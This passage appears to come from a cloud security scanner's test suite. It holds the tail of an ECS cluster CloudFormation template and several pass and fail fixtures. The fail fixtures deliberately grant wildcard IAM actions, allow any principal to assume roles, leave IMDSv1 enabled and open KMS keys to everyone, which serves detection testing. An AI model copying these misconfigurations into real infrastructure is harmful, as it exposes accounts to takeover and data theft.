Cluster.Arn ClusterName: Description: "Cluster Name" Value: !Ref Cluster InstanceType: Description: "Instance Type" Value: !Ref InstanceType LaunchConfigurationName: Description: "Launch Configuration Name" Value: !Ref LaunchConfiguration SecurityGroupId: Description: "Security Group ID" Value: !Ref SecurityGroup ServiceAutoScalingRoleArn: Description: "Role for ECS service auto scaling" Value: !GetAtt ServiceAutoScalingRole.Arn ScalingLambda: Description: "Scaling Lambda" Value: !Ref ScalingLambda Mappings: # https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-optimized_AMI.html MachineImages: us-east-1: AMI: ami-0128839b21d19300e us-east-2: AMI: ami-0583ca2f3ce809fcb us-west-1: AMI: ami-0ac6a4a6e7e0949c4 us-west-2: AMI: ami-030c9d6616d98227e Conditions: SpotPricePresent: !Not [!Equals [!Ref SpotPrice, 0]] UseOldStyleSGName: !Equals [!Ref OldStyleSGName, "yes"] Resources: AutoScalingGroup: DependsOn: - Ec2Subnets - EcsLifeCycle Type: AWS::AutoScaling::AutoScalingGroup CreationPolicy: ResourceSignal: Timeout: PT10M UpdatePolicy: AutoScalingRollingUpdate: MaxBatchSize: !Ref MaxBatchSize MinInstancesInService: !If - SpotPricePresent - 0 - !Ref MinInstancesInService PauseTime: !Ref PauseTime SuspendProcesses: - HealthCheck - ReplaceUnhealthy - AZRebalance - AlarmNotification - ScheduledActions WaitOnResourceSignals: true Properties: LaunchConfigurationName: !Ref LaunchConfiguration LifecycleHookSpecificationList: - DefaultResult: CONTINUE HeartbeatTimeout: 1800 LifecycleHookName: "instanceTerminating" LifecycleTransition: "autoscaling:EC2_INSTANCE_TERMINATING" NotificationTargetARN: !GetAtt EcsLifeCycle.Outputs.LifecycleSns RoleARN: !GetAtt EcsLifeCycle.Outputs.AutoScalingNotificationRoleArn MaxSize: !Ref MaxSize MinSize: !Ref MinSize NotificationConfigurations: - NotificationTypes: - "autoscaling:EC2_INSTANCE_TERMINATE" TopicARN: !GetAtt EcsLifeCycle.Outputs.LifecycleSns TerminationPolicies: [AllocationStrategy] VPCZoneIdentifier: !GetAtt Ec2Subnets.SubnetIds Tags: - Key: Name Value: !Ref ClusterName PropagateAtLaunch: true Cluster: Type: AWS::ECS::Cluster Properties: ClusterName: !Ref ClusterName LaunchConfiguration: Type: AWS::AutoScaling::LaunchConfiguration Properties: AssociatePublicIpAddress: false IamInstanceProfile: !Ref InstanceProfile ImageId: !FindInMap [MachineImages, !Ref "AWS::Region", AMI] InstanceType: !Ref InstanceType KeyName: !Ref KeyPairName SecurityGroups: - !Ref SecurityGroup SpotPrice: !If - SpotPricePresent - !Ref SpotPrice - !Ref AWS::NoValue BlockDeviceMappings: - DeviceName: "/dev/xvda" Ebs: VolumeSize: !Ref EbsRootSize VolumeType: "gp2" UserData: Fn::Base64: !Sub | #!/bin/bash echo ECS_AVAILABLE_LOGGING_DRIVERS='${LoggingDrivers}' >> /etc/ecs/ecs.config echo ECS_CLUSTER=${ClusterName} >> /etc/ecs/ecs.config echo ECS_CONTAINER_STOP_TIMEOUT=${ContainerStopTimeout}s >> /etc/ecs/ecs.config echo ECS_ENABLE_SPOT_INSTANCE_DRAINING=true >> /etc/ecs/ecs.config echo ECS_ENGINE_TASK_CLEANUP_WAIT_DURATION=2h >> /etc/ecs/ecs.config echo ECS_LOGLEVEL=info >> /etc/ecs/ecs.config yum install -y \ aws-cfn-bootstrap \ chrony \ git \ jq \ logrotate \ nfs-utils \ python-pip \ vim \ wget pip-2.7 install awscli aws configure set default.region ${AWS::Region} systemctl start chronyd.service echo 'module(load="imfile")' > /etc/rsyslog.d/01-load-imfile.conf echo 'input(type="imfile" File="/var/log/ecs/ecs-agent.log" Tag="ecs-agent" Severity="info" Facility="local7")' > /etc/rsyslog.d/02-ecs-agent.conf echo '*.* action(type="omfwd" target="127.0.0.1" port="10514" protocol="tcp" action.resumeRetryCount="100" queue.type="linkedList" queue.size="100000")' > /etc/rsyslog.d/03-forward-to-fluentd.conf systemctl restart rsyslog.service cat < /etc/logrotate.d/docker.conf /var/lib/docker/containers/*/*.log { weekly rotate 5 size 100M compress delaycompress } EOF logrotate -d /etc/logrotate.d/docker.conf if [ "${EfsFileSystemId}" != "" ]; then mkdir -p ${EfsMountPoint} chown ec2-user:ec2-user ${EfsMountPoint} echo "${EfsFileSystemId}.efs.${AWS::Region}.amazonaws.com:/ ${EfsMountPoint} nfs4 nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2 0 0" >> /etc/fstab mount -a -t nfs4 fi if [ "${NvmeMountPoint1}" != "" ]; then # Additional "instance store nvme" starts at device index 3. 0, 1, 2 are already used by root/ebs disk="/dev/nvme3n1" mkfs.ext4 -E nodiscard $disk mkdir -p ${NvmeMountPoint1} echo "$disk ${NvmeMountPoint1} ext4 defaults,noatime,nodiscard 0 0" >> /etc/fstab mount $disk chown ec2-user:ec2-user ${NvmeMountPoint1} fi if [ "${NvmeMountPoint2}" != "" ]; then disk="/dev/nvme4n1" mkfs.ext4 -E nodiscard $disk mkdir -p ${NvmeMountPoint2} echo "$disk ${NvmeMountPoint2} ext4 defaults,noatime,nodiscard 0 0" >> /etc/fstab mount $disk chown ec2-user:ec2-user ${NvmeMountPoint2} fi /opt/aws/bin/cfn-init \ -v \ --region ${AWS::Region} \ --stack ${AWS::StackName} \ --resource LaunchConfiguration /opt/aws/bin/cfn-signal \ -e 0 \ --region ${AWS::Region} \ --stack ${AWS::StackName} \ --resource AutoScalingGroup Metadata: AWS::CloudFormation::Init: config: files: "/etc/cfn/cfn-hup.conf": mode: 000400 owner: root group: root content: !Sub | [main] region=${AWS::Region} stack=${AWS::StackId} "/etc/cfn/hooks.d/cfn-auto-reloader.conf": mode: 000400 owner: root group: root content: !Sub | [cfn-auto-reloader-hook] triggers=post.update path=Resources.ContainerInstances.Metadata.AWS::CloudFormation::Init action=/opt/aws/bin/cfn-init -v --region ${AWS::Region} --stack ${AWS::StackName} --resource LaunchConfiguration services: sysvinit: chronyd: enabled: true ensureRunning: true cfn-hup: enabled: true ensureRunning: true files: - /etc/cfn/cfn-hup.conf - /etc/cfn/hooks.d/cfn-auto-reloader.conf Ec2Subnets: Type: Custom::Ec2Subnets Properties: InstanceType: !Ref InstanceType ServiceToken: !ImportValue LambdaResourceArn SubnetIds: !Ref SubnetIds EcsLifeCycle: DependsOn: - Cluster Type: AWS::CloudFormation::Stack Properties: TemplateURL: !Sub "https://s3.amazonaws.com/${InfraBucketName}/compute/ecs-lifecycle.yml" Parameters: ClusterName: !Ref ClusterName ClusterArn: !GetAtt Cluster.Arn Tags: - Key: StackName Value: !Ref AWS::StackName InstanceProfile: Type: AWS::IAM::InstanceProfile DependsOn: Role Properties: Path: / Roles: - !Ref Role Role: Type: AWS::IAM::Role Properties: Path: / RoleName: !Sub "${ClusterName}-role-${AWS::Region}" AssumeRolePolicyDocument: | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" } } ] } Policies: - PolicyName: !Sub "${AWS::StackName}-${AWS::Region}" PolicyDocument: | { "Statement": [ { "Action": [ "cloudformation:*", "ecr:*", "ecr:BatchCheckLayerAvailability", "ecr:BatchGetImage", "ecr:GetAuthorizationToken", "ecr:GetDownloadUrlForLayer", "ecs:CreateCluster", "ecs:DeregisterContainerInstance", "ecs:DiscoverPollEndpoint", "ecs:Poll", "ecs:RegisterContainerInstance", "ecs:StartTelemetrySession", "ecs:Submit*", "ecs:UpdateContainerInstancesState", "logs:CreateLogGroup", "logs:CreateLogStream", "logs:DescribeLogStreams", "logs:PutLogEvents", "s3:CopyObject", "s3:GetObject", "s3:ListObjects", "s3:PutObject", "sns:Publish" ], "Effect": "Allow", "Resource": "*" } ] } # ScaleDownMemoryReservationAlarm: # Type: AWS::CloudWatch::Alarm # DependsOn: ScaleDownPolicy # Properties: # ActionsEnabled: true # AlarmActions: # - !Ref ScaleDownPolicy # ComparisonOperator: LessThanOrEqualToThreshold # EvaluationPeriods: 3 # MetricName: MemoryReservation # Namespace: AWS/ECS # Period: 60 # Statistic: Average # Threshold: 50 # Unit: Percent # Dimensions: # - Name: ClusterName # Value: !Ref ClusterName # # ScaleDownMemoryUtilizationAlarm: # Type: AWS::CloudWatch::Alarm # DependsOn: ScaleDownPolicy # Properties: # ActionsEnabled: true # AlarmActions: # - !Ref ScaleDownPolicy # ComparisonOperator: LessThanOrEqualToThreshold # EvaluationPeriods: 3 # MetricName: MemoryUtilization # Namespace: AWS/ECS # Period: 60 # Statistic: Average # Threshold: 50 # Unit: Percent # Dimensions: # - Name: ClusterName # Value: !Ref ClusterName # # ScaleDownPolicy: # Type: AWS::AutoScaling::ScalingPolicy # DependsOn: AutoScalingGroup # Properties: # AdjustmentType: ChangeInCapacity # AutoScalingGroupName: !Ref AutoScalingGroup # EstimatedInstanceWarmup: 300 # MetricAggregationType: Average # PolicyType: StepScaling # StepAdjustments: # - MetricIntervalUpperBound: 0 # ScalingAdjustment: -1 ScaleUpMemoryReservationAlarm: Type: AWS::CloudWatch::Alarm DependsOn: ScaleUpPolicy Properties: ActionsEnabled: true AlarmActions: - !Ref ScaleUpPolicy ComparisonOperator: GreaterThanOrEqualToThreshold EvaluationPeriods: 1 MetricName: MemoryReservation Namespace: AWS/ECS Period: 60 Statistic: Average Threshold: !Ref ScaleUpMemoryThreshold Unit: Percent Dimensions: - Name: ClusterName Value: !Ref ClusterName ScaleUpMemoryUtilizationAlarm: Type: AWS::CloudWatch::Alarm DependsOn: ScaleUpPolicy Properties: ActionsEnabled: true AlarmActions: - !Ref ScaleUpPolicy ComparisonOperator: GreaterThanOrEqualToThreshold EvaluationPeriods: 2 MetricName: MemoryUtilization Namespace: AWS/ECS Period: 60 Statistic: Average Threshold: !Ref ScaleUpMemoryThreshold Unit: Percent Dimensions: - Name: ClusterName Value: !Ref ClusterName ScaleUpPolicy: Type: AWS::AutoScaling::ScalingPolicy DependsOn: AutoScalingGroup Properties: AdjustmentType: ChangeInCapacity AutoScalingGroupName: !Ref AutoScalingGroup EstimatedInstanceWarmup: 300 MetricAggregationType: Average PolicyType: StepScaling StepAdjustments: - MetricIntervalLowerBound: 0 MetricIntervalUpperBound: 15 ScalingAdjustment: 1 - MetricIntervalLowerBound: 15 ScalingAdjustment: 2 SecurityGroup: Type: AWS::EC2::SecurityGroup Properties: GroupDescription: !If - UseOldStyleSGName - "Allow tcp for all ports" - !Sub "${ClusterName} ECS sg rules" VpcId: !Ref VpcId SecurityGroupIngress: - CidrIp: "10.36.4.0/22" Description: SSH from lh-utility us-east-1 FromPort: 22 IpProtocol: tcp ToPort: 22 - CidrIp: "10.39.4.0/22" Description: SSH from lh-utility us-west-2 FromPort: 22 IpProtocol: tcp ToPort: 22 - CidrIp: "10.36.4.0/22" Description: lh-utility us-east-1 to ECS dynamic host port range IpProtocol: tcp FromPort: 32768 ToPort: 60999 - CidrIp: "10.39.4.0/22" Description: lh-utility us-west-2 to ECS dynamic host port range IpProtocol: tcp FromPort: 32768 ToPort: 60999 SecurityGroupEgress: - CidrIp: "0.0.0.0/0" IpProtocol: "-1" ScheduledRuleScalingLambda: Type: AWS::Events::Rule Properties: Description: "ScheduledRule" ScheduleExpression: "cron(0 0 * * ? *)" State: "ENABLED" Targets: - Arn: Fn::GetAtt: - "ScalingLambda" - "Arn" Id: "ScalingLambda" PermissionForEventsToInvokeLambda: Type: AWS::Lambda::Permission Properties: FunctionName: Ref: "ScalingLambda" Action: "lambda:InvokeFunction" Principal: "events.amazonaws.com" SourceArn: Fn::GetAtt: - "ScheduledRuleScalingLambda" - "Arn" ServiceAutoScalingRole: Type: AWS::IAM::Role Properties: RoleName: !Sub "${ClusterName}-service-autoscaling-role" AssumeRolePolicyDocument: Statement: - Effect: Allow Principal: Service: [application-autoscaling.amazonaws.com] Action: ["sts:AssumeRole"] Policies: - PolicyName: !Sub "${ClusterName}-service-auto-scaling-policy" PolicyDocument: Version: "2012-10-17" Statement: - Effect: Allow Action: - ecs:DescribeServices - ecs:UpdateService - cloudwatch:PutMetricAlarm - cloudwatch:DescribeAlarms - cloudwatch:DeleteAlarms Resource: - "*" ScalingLambdaRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Statement: - Effect: Allow Principal: Service: [lambda.amazonaws.com] Action: ['sts:AssumeRole'] ManagedPolicyArns: - arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole Path: / Policies: - PolicyName: ecs-scaling PolicyDocument: Statement: - Effect: Allow Action: - ec2:DescribeInstances - ecs:ListContainerInstances - ecs:UpdateContainerInstancesState - ecs:DescribeContainerInstances - ecs:DeregisterContainerInstance - autoscaling:DescribeAutoScalingGroups - autoscaling:SetDesiredCapacity - cloudwatch:PutMetricData Resource: '*' ScalingLambda: Type: "AWS::Lambda::Function" Properties: Code: ZipFile: !Sub | CONTAINER_MAX_CPU = 128 CONTAINER_MAX_MEM = int(${ContainerReservedMemoryAverage}) INSTANCE_MAX_SERVICES = int(${MaxServicePerInstanceTypeThreshold}) import boto3 import copy import datetime import dateutil ecs = boto3.client('ecs') cw = boto3.client('cloudwatch') asg = boto3.client('autoscaling') def lambda_handler(event, context): cluster_name = "${Cluster}" autoscaling_name = '${AutoScalingGroup}' autoscaling_group = asg.describe_auto_scaling_groups( AutoScalingGroupNames=[ autoscaling_name, ], ) print('Calculating schedulable containers for cluster %s' % cluster_name) instance_list = ecs.list_container_instances(cluster=cluster_name) instances = ecs.describe_container_instances(cluster=cluster_name, containerInstances=instance_list['containerInstanceArns']) asg_desired_capacity = int(autoscaling_group['AutoScalingGroups'][0]['DesiredCapacity']) schedulable_containers = 0 for instance in instances['containerInstances']: remaining_resources = {resource['name']: resource for resource in instance['remainingResources']} containers_by_cpu = int(remaining_resources['CPU']['integerValue'] / CONTAINER_MAX_CPU) containers_by_mem = int(remaining_resources['MEMORY']['integerValue'] / CONTAINER_MAX_MEM) schedulable_containers += min(containers_by_cpu, containers_by_mem) print('Cluster: %s, Instance: %s, CPU Containers: %s, MEMORY Containers: %s, Schedulable containers: %s' % (cluster_name, instance['ec2InstanceId'], containers_by_cpu, containers_by_mem, min(containers_by_cpu, containers_by_mem))) print('Schedulable containers overall: %s' % schedulable_containers) print('Each instance can hold %s services' % INSTANCE_MAX_SERVICES) if schedulable_containers > INSTANCE_MAX_SERVICES: oversubscribed = int(schedulable_containers / INSTANCE_MAX_SERVICES) print('Oversubscribed instances: %s' % oversubscribed) new_capacity = asg_desired_capacity - oversubscribed desired_cap = asg.set_desired_capacity( AutoScalingGroupName=autoscaling_name, DesiredCapacity=new_capacity, HonorCooldown=True, ) print('Desired capacity scaled down to: %s' % new_capacity) return { 'Desired capacity scaled down to' : new_capacity } else: print('Capacity is ok, no change') return { 'Capacity is ok' : asg_desired_capacity } Handler: index.lambda_handler Role: !GetAtt ScalingLambdaRole.Arn Runtime: python3.9 Timeout: 10 ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/example_IAMRoleAllowAssumeFromAccount-PASSED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: ExecutionRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' ClusterAccessRole: Type: AWS::IAM::Role Properties: Path: / RoleName: ClusterAccessRole AssumeRolePolicyDocument: Fn::Sub: - | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" } }, { "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::${AWS::AccountId}:oidc-provider/oidc.eks.${AWS::Region}.amazonaws.com/id/123456" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "${clusterid}": "1234" } } } ] } - clusterid: clusterID ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/FAILED-2.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: AWSStarPrincipal2: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": "*" } } ] } AWSStarPrincipalInList2: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "AWS": ["arn:aws:iam::123456789101:root", "*"] } } ] } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/FAILED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: AWSStarPrincipal: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: AWS: - "*" Action: - "sts:AssumeRole" AWSStarPrincipalInList: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: AWS: - "arn:aws:iam::123456789101:root" - "*" Action: - "sts:AssumeRole" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/PASSED-2.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: ServiceRole2: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" } } ] } DenyIgnore2: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: | { "Statement": [ { "Action": "sts:AssumeRole", "Effect": "Deny", "Principal": { "AWS": "*" } } ] } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMRoleAllowsPublicAssume/PASSED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Description: Example Resources: ServiceRole: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Allow" Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' DenyIgnore: Type: AWS::IAM::Role Properties: AssumeRolePolicyDocument: Version: "2012-10-17" Statement: - Effect: "Deny" Principal: AWS: - "*" Action: - "sts:AssumeRole" ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/cfn_bad_iam_pass.yaml ================================================ --- AWSTemplateFormatVersion: "2010-09-09" Description: > Test bad IAM policies Resources: rIamPolicy: Type: AWS::IAM::Policy Properties: PolicyDocument: - Fn::If: - cCondition - Statement: {} - Statement: [] ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_group.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Insecure Inline policy on Group", "Resources": { "mygroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [ { "PolicyName": "fails", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_group.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "mygroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [ { "PolicyName": "fails", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_policy.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "NEWPolicy": { "Type": "AWS::IAM::Policy", "Properties": { "PolicyName": "CFNUsers", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" }, "Groups": [ { "Ref": "CFNUserGroup" } ] } }, "CFNUserGroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_policy.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "Create a variable number of IAM resources.", "Resources": { "NEWPolicy": { "Type": "AWS::IAM::Policy", "Properties": { "PolicyName": "CFNUsers", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" }, "Groups": [ { "Ref": "CFNUserGroup" } ] } }, "CFNUserGroup": { "Type": "AWS::IAM::Group", "Properties": { "Path": "/myapplication/", "Policies": [] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "RootRole": { "Type": "AWS::IAM::Role", "Properties": { "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": [ "ec2.amazonaws.com" ] }, "Action": [ "sts:AssumeRole" ] } ] }, "Path": "/", "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] } } ] } }, "RootInstanceProfile": { "Type": "AWS::IAM::InstanceProfile", "Properties": { "Path": "/", "Roles": [ { "Ref": "RootRole" } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "RootRole": { "Type": "AWS::IAM::Role", "Properties": { "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": [ "ec2.amazonaws.com" ] }, "Action": [ "sts:AssumeRole" ] } ] }, "Path": "/", "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } }, "RootInstanceProfile": { "Type": "AWS::IAM::InstanceProfile", "Properties": { "Path": "/", "Roles": [ { "Ref": "RootRole" } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_role.unknown.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Conditions: CreateExecPolicy: !Equals [0, 0] Resources: RootRole: Type: 'AWS::IAM::Role' Properties: AssumeRolePolicyDocument: Version: 2012-10-17 Statement: - Effect: Allow Principal: Service: - ec2.amazonaws.com Action: - 'sts:AssumeRole' Path: / Policies: !If - CreateExecPolicy - - PolicyName: root PolicyDocument: !Sub | { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ]} - !Ref AWS::NoValue RootInstanceProfile: Type: 'AWS::IAM::InstanceProfile' Properties: Path: / Roles: - !Ref RootRole CFNUserGroup: Type: AWS::IAM::Group ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_user.fail.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Metadata": { "License": "Apache-2.0" }, "Description": "AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.", "Parameters": { "Password": { "NoEcho": "true", "Type": "String", "Description": "New account password", "MinLength": "1", "MaxLength": "41", "ConstraintDescription": "the password must be between 1 and 41 characters" } }, "Resources": { "CFNUser": { "Type": "AWS::IAM::User", "Properties": { "LoginProfile": { "Password": { "Ref": "Password" } }, "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:HeadBucket", "*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "*" ], "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IAMStarActionPolicyDocument/iam_user.pass.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Metadata": { "License": "Apache-2.0" }, "Description": "AWS CloudFormation Sample Template IAM_Users_Groups_and_Policies: Sample template showing how to create IAM users, groups and policies. It creates a single user that is a member of a users group and an admin group. The groups each have different IAM policies associated with them. Note: This example also creates an AWSAccessKeyId/AWSSecretKey pair associated with the new user. The example is somewhat contrived since it creates all of the users and groups, typically you would be creating policies, users and/or groups that contain references to existing users or groups in your environment. Note that you will need to specify the CAPABILITY_IAM flag when you create the stack to allow this template to execute. You can do this through the AWS management console by clicking on the check box acknowledging that you understand this template creates IAM resources or by specifying the CAPABILITY_IAM flag to the cfn-create-stack command line tool or CreateStack API call.", "Parameters": { "Password": { "NoEcho": "true", "Type": "String", "Description": "New account password", "MinLength": "1", "MaxLength": "41", "ConstraintDescription": "the password must be between 1 and 41 characters" } }, "Resources": { "CFNUser": { "Type": "AWS::IAM::User", "Properties": { "LoginProfile": { "Password": { "Ref": "Password" } }, "Policies": [ { "PolicyName": "root", "PolicyDocument": { "Statement": [ { "Action": [ "s3:ListBucket*", "s3:HeadBucket", "s3:Get*" ], "Effect": "Allow", "Resource": [ "arn:aws:s3:::b1", "arn:aws:s3:::b1/*", "arn:aws:s3:::b2", "arn:aws:s3:::b2/*" ], "Sid": "" }, { "Action": "s3:PutObject*", "Effect": "Allow", "Resource": "arn:aws:s3:::b1/*", "Sid": "" } ], "Version": "2012-10-17" } } ] } } } } ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IMDSv1Disabled/FAILED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: MetadataOptionsNone: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateName: MetadataOptionsNone LaunchTemplateData: DisableApiTermination: true ImageId: ami-04d5cc9b88example InstanceType: t2.micro KeyName: MyKeyPair IMDSv1Enabled: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateName: IMDSv1Enabled LaunchTemplateData: DisableApiTermination: true ImageId: ami-04d5cc9b88example InstanceType: t2.micro KeyName: MyKeyPair MetadataOptions: HttpEndpoint: enabled IMDSv2Optional: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateName: IMDSv2Optional LaunchTemplateData: DisableApiTermination: true ImageId: ami-04d5cc9b88example InstanceType: t2.micro KeyName: MyKeyPair MetadataOptions: HttpTokens: optional ================================================ FILE: tests/cloudformation/checks/resource/aws/example_IMDSv1Disabled/PASSED.yml ================================================ AWSTemplateFormatVersion: '2010-09-09' Resources: IMDSv1Disabled: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateName: IMDSv1Disabled LaunchTemplateData: DisableApiTermination: true ImageId: ami-04d5cc9b88example InstanceType: t2.micro KeyName: MyKeyPair MetadataOptions: HttpEndpoint: disabled IMDSv2Enabled: Type: AWS::EC2::LaunchTemplate Properties: LaunchTemplateName: IMDSv1Disabled LaunchTemplateData: DisableApiTermination: true ImageId: ami-04d5cc9b88example InstanceType: t2.micro KeyName: MyKeyPair MetadataOptions: HttpTokens: required ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-FAILED-AWS-Wildcard.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: AwsWildcard: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable Permissions for All AWS Principals Effect: Allow Principal: AWS: '*' Action: kms:* Resource: '*' EnableKeyRotation: true AwsWildcardList: Type: 'AWS::KMS::Key' Properties: KeyPolicy: Version: 2012-10-17 Id: key-default-1 Statement: - Sid: Enable IAM User Permissions Effect: Allow Principal: AWS: - '*' # <-- wildcarded principal tucked inside of a list - 'arn:aws:iam::123456789012:root' Action: 'kms:*' Resource: '*' ================================================ FILE: tests/cloudformation/checks/resource/aws/example_KMSKeyWildCardPrincipal/KMSKeyWildCardPrincipal-FAILED-Wildcard.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Description: KMS key example template Resources: Wildcard: Type: AWS::KMS::Key Properties: KeyPolicy: Version: '2012-10-17' Id: key-default-1 Statement: - Sid: Enable Permissions for Everyone Effect: Allow Principal: '*' 